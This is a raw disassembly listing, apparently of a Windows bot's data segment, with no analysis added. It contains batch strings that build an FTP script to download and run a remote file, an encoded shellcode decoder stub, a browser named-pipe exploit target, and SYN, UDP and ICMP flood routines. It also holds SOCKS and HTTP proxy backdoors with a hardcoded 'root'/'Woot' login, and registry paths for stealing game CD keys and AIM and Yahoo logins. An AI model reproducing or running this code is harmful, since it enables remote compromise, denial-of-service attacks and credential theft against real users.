dword_4465C4	dd 1004600h						; sub_4257F0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467AC	dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
		align 10h
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
		dd 2 dup(0)
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
		align 4
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
		align 10h
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
		align 10h
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
		align 8
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
		align 10h
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
		align 10h
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
		align 4
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
		align 8
dword_4468F8	dd 6EB06EBh			align 10h
dword_446900	dd 73255C5Ch, 6370695Ch, 24h					; ___:00426352o
dword_44690C	dd 1CEC8166h	dword_446910	dd 0E4FF07h			align 8
dword_446918	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446964	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_446994	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_4469B4	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_4469BE:				; CODE XREF: ___:004469C8j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_4469BE
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_426070+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 10h
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
		align 10h
word_446C20	dw 2EBh			; DATA XREF: ___:00426331r
		align 4
dword_446C24	dd 215h				dd 0
dword_446C2C	dd 20804h			dd 0
; ---------------------------------------------------------------------------


loc_446C34:				; DATA XREF: sub_4267D0+CCo
		jmp	short loc_446C38
; ---------------------------------------------------------------------------


loc_446C36:				; CODE XREF: ___:loc_446C38p
		jmp	short loc_446C3D
; ---------------------------------------------------------------------------


loc_446C38:				; CODE XREF: ___:loc_446C34j
		call	loc_446C36


loc_446C3D:				; CODE XREF: ___:loc_446C36j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_446C42	dw 0FFFFh		; DATA XREF: sub_4267D0+D3w
		db 80h,	73h, 0Eh
byte_446C47	db 0FFh			; DATA XREF: sub_4267D0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_446C4C:				; DATA XREF: sub_4267D0+A7o
		jmp	short loc_446C50
; ---------------------------------------------------------------------------


loc_446C4E:				; CODE XREF: ___:loc_446C50p
		jmp	short loc_446C55
; ---------------------------------------------------------------------------


loc_446C50:				; CODE XREF: ___:loc_446C4Cj
		call	loc_446C4E


loc_446C55:				; CODE XREF: ___:loc_446C4Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_446C59	db 0FFh			; DATA XREF: sub_4267D0+AEw
		dw 7380h
		db 0Ch
byte_446C5D	db 0FFh			; DATA XREF: sub_4267D0+B4w
		dw 0E243h
		dd 0F9h
dword_446C64	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_426560+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CC8	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_446CD8	dd 74656720h	byte_446CDC	db 20h			; DATA XREF: sub_426560+A2r
dword_446CDD	dd 0E8006A00h	dword_446CE1	dd 17h							; sub_426560+D2r
dword_446CE5	dd 0E8C30175h	dword_446CE9	dd 1							; sub_426560+E7r
byte_446CED	db 0, 6Ah, 0		; DATA XREF: sub_426560+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_446CF7	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_427740+22o
		align 10h
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_427990+D0o
		align 4
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
		align 10h
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
		align 10h
		dd 0
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_427B10+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_427B10+2Bo
		align 8
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_427B10+23o
		align 4
		dd 0
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_427B10+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_427C90+22o
		align 10h
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
		align 4
		dd 0
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
		align 4
		dd 0
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
		align 8
aSyn		db 'syn',0              ; DATA XREF: sub_4281A0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
		align 8
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
		align 10h
		dd 0
aUdp		db 'udp',0              ; DATA XREF: sub_428880+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_428940+C0o
		align 4
		dd 0
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
		align 4
		dd 0
off_446EFC	dd offset byte_455247	; DATA XREF: sub_4290B0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+AAo
		align 10h
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+33o
		align 10h
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
		db 0Dh,0Ah,0
		align 10h
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
					; ___:0042A147o
		align 8
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
					; ___:0042A129o
		align 8
aConnection	db 'Connection:',0      ; DATA XREF: ___:00429F54o
		align 8
aChunked	db 'chunked',0          ; DATA XREF: ___:00429F11o
		dd 0
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
		align 4
		dd 0
aContentLength	db 'Content-Length:',0  ; DATA XREF: ___:00429E2Do
		align 10h
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C8Eo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C59o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 10h
		dd 0
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: ___:loc_429B5Bo
					; ___:00429FA0o
		align 10h
		dd 0
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
		align 4
		dd 0
asc_4471EC	db 0Dh,0Ah,0		; DATA XREF: ___:00429A1Co
					; ___:00429ADCo ...
		align 10h
aHttprox	db 'HTTPROX',0          ; DATA XREF: ___:004299E7o
		dd 0
aConnect	db 'connect',0          ; DATA XREF: ___:004297B2o
		align 8
aConnect_0	db 'CONNECT',0          ; DATA XREF: ___:0042977Do
		dd 0
off_447214	dd offset byte_544547	; DATA XREF: ___:004296B8o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_42ACB0+22o
		align 10h
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
		align 10h
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_42AFF0+22o
					; sub_42B380+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
		align 10h
		dd 0
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
		align 4
		dd 2 dup(0)
dword_4472F4	dd 1000005h, 0	dword_4472FC	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42CB70+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42CB70+3Fo
		align 10h
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042D725o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: ___:0042D6B1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004473C4o
		align 10h
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 10h
		dd 0
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 4
		dd 0
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42DB00+49o
					; sub_42DB00:loc_42DBBDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
		align 8
aRead		db 'read',0             ; DATA XREF: sub_42DF40:loc_42E0DCo
		align 10h
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42E3C0+72o
		dd 0
aUserS		db 'USER %s',0          ; DATA XREF: sub_42E3C0+3Do
		align 8
aWrite		db 'write',0
		align 10h
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
		align 10h
dword_4474A0	dd 524F5453h	byte_4474A4	db 0			; DATA XREF: sub_42E5B0+EDr
		align 4
dword_4474A8	dd 52544552h	byte_4474AC	db 0			; DATA XREF: sub_42E5B0+D3r
		align 10h
dword_4474B0	dd 5453494Ch	byte_4474B4	db 0			; DATA XREF: sub_42E5B0+B8r
		align 4
dword_4474B8	dd 54534C4Eh	byte_4474BC	db 0			; DATA XREF: sub_42E5B0+9Er
		align 10h
dword_4474C0	dd 45505954h, 632520h, 0					; ___:0042F9BAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42E5B0+2Do
		align 10h
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 4
		dd 0
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		dd 0
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
		align 10h
		dd 0
aPasv		db 'PASV',0             ; DATA XREF: sub_42E870+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
		align 10h
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
		align 4
		dd 0
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 10h
		dd 0
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 4
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
		align 4
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
		align 4
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042F3CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: ___:0042F42Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042F4BEo
		align 10h
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042F53Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042F597o
		align 10h
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042F5EEo
		align 4
off_447678	dd offset dword_445750	; DATA XREF: ___:0042F64Do
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42F6F0:loc_42F871o
		align 10h
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
		align 8
word_4476B8	dw 77h			; DATA XREF: sub_42F6F0+1Fr
		align 4
dword_4476BC	dd 25206425h, 64hdword_4476C4	dd 455A4953h, 732520h, 0dword_4476D0	dd 4D54444Dh, 732520h, 0dword_4476DC	dd 4F544E52h, 732520h, 0dword_4476E8	dd 52464E52h, 732520h, 0dword_4476F4	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42FD30+10o
		align 4
dword_447708	dd 1							; sub_431750+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
		align 4
		dd 0
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_432570+6o
		align 4
aA:					; DATA XREF: sub_434D10+36o
		unicode	0, <>,0
		dd 12h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 44885Ch, 448F30h,	448828h, 80000002h, 4487C8h
		dd 448F30h, 448798h, 80000002h,	448740h, 448F30h, 44871Ch
		dd 80000002h, 4486D4h, 448F30h,	4486BCh, 80000002h, 448678h
		dd 448F30h, 448650h, 80000002h,	448614h, 448F30h, 4485E0h
		dd 80000002h, 448580h, 448F30h,	448554h, 80000002h, 448530h
		dd 448528h, 4484FCh, 80000002h,	4484D4h, 448528h, 4484BCh
		dd 80000001h, 44848Ch, 448488h,	448478h, 80000002h, 44843Ch
		dd 448F30h, 44842Ch, 80000002h,	4483F0h, 448F30h, 4483DCh
		dd 80000002h, 448394h, 448F30h,	448378h, 80000002h, 448334h
		dd 448F30h, 448318h, 80000001h,	4482F0h, 448488h, 4482E0h
		dd 80000001h, 4482B8h, 448488h,	448298h, 80000002h, 44825Ch
		dd 448258h, 44823Ch, 80000002h,	448218h, 448210h, 4481F8h
		dd 80000001h, 4481CCh, 4481C4h,	4481A0h, 80000002h, 448154h
		dd 448F30h, 44812Ch, 80000002h,	4480D8h, 448F30h, 4480A0h
		dd 80000002h, 44803Ch, 448F30h,	448008h, 80000002h, 447FA8h
		dd 448F30h, 447F8Ch, 80000002h,	447F44h, 448F30h, 447F28h
		dd 80000002h, 447EE0h, 448F30h,	447ED0h, 80000002h, 447E94h
		dd 448F30h, 447E84h, 80000002h,	447E48h, 448F30h, 447E20h
		dd 80000002h, 447DCCh, 448F30h,	447DA4h, 80000002h, 447D54h
		dd 448F30h, 447D38h, 80000002h,	447D10h, 448488h, 447CFCh
		dd 80000002h, 447CC4h, 448F30h,	447C94h, 80000002h, 447C3Ch
		dd 448F30h, 447C20h, 80000001h,	447BD0h, 447BC8h, 447BACh
		dd 80000002h, 447B68h, 447B5Ch,	447B44h, 80000001h, 447B14h
		dd 447B08h, 447AE8h, 80000002h,	447AACh, 447BC8h, 447A8Ch
		dd 80000002h, 447A50h, 447BC8h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 4
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
		dd 2 dup(0)
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 8
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 4
		dd 0
aSof2key	db 'sof2key',0
		align 8
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 8
aCdkey		db 'CDKey',0
		align 10h
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 4
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 4
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 8
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 10h
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 4
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 8
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aNhl2002	db '[NHL 2002: ',0
		align 10h
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 10h
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 8
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
		dd 2 dup(0)
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 10h
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 10h
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		align 10h
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 10h
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
		dd 2 dup(0)
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 10h
aCdkey_0	db 'CDkey',0
		align 4
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 8
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
		dd 2 dup(0)
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 8
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aHalfLife	db '[Half-Life: ',0
		align 10h
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
		dd 2 dup(0)
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 10h
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
		dd 2 dup(0)
aGlobalOperatio	db '[Global Operations: ',0
		align 10h
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 10h
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3230h, 0
		dd 79654Bh, 74666F53h, 65726177h, 6C61565Ch, 435C6576h
		dd 746E756Fh, 74537265h, 656B6972h, 7465535Ch, 676E6974h
		dd 73h,	2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 10h
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 8
aSerial		db 'Serial',0
		align 10h
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 10h
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 10h
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		align 10h
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 8
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 10h
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		align 10h
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 4
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		align 10h
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447788o
		align 8
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:004362A4o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00436268o
		align 8
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
		align 10h
		dd 0
dword_4488F4	dd 3A6D6961h, 732520h, 0dword_448900	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:0043616Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 10h
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 10h
aSMainS		db '%s\main\%s',0
		align 10h
aCodkey		db 'codkey',0
		align 4
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 10h
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 4
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 10h
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
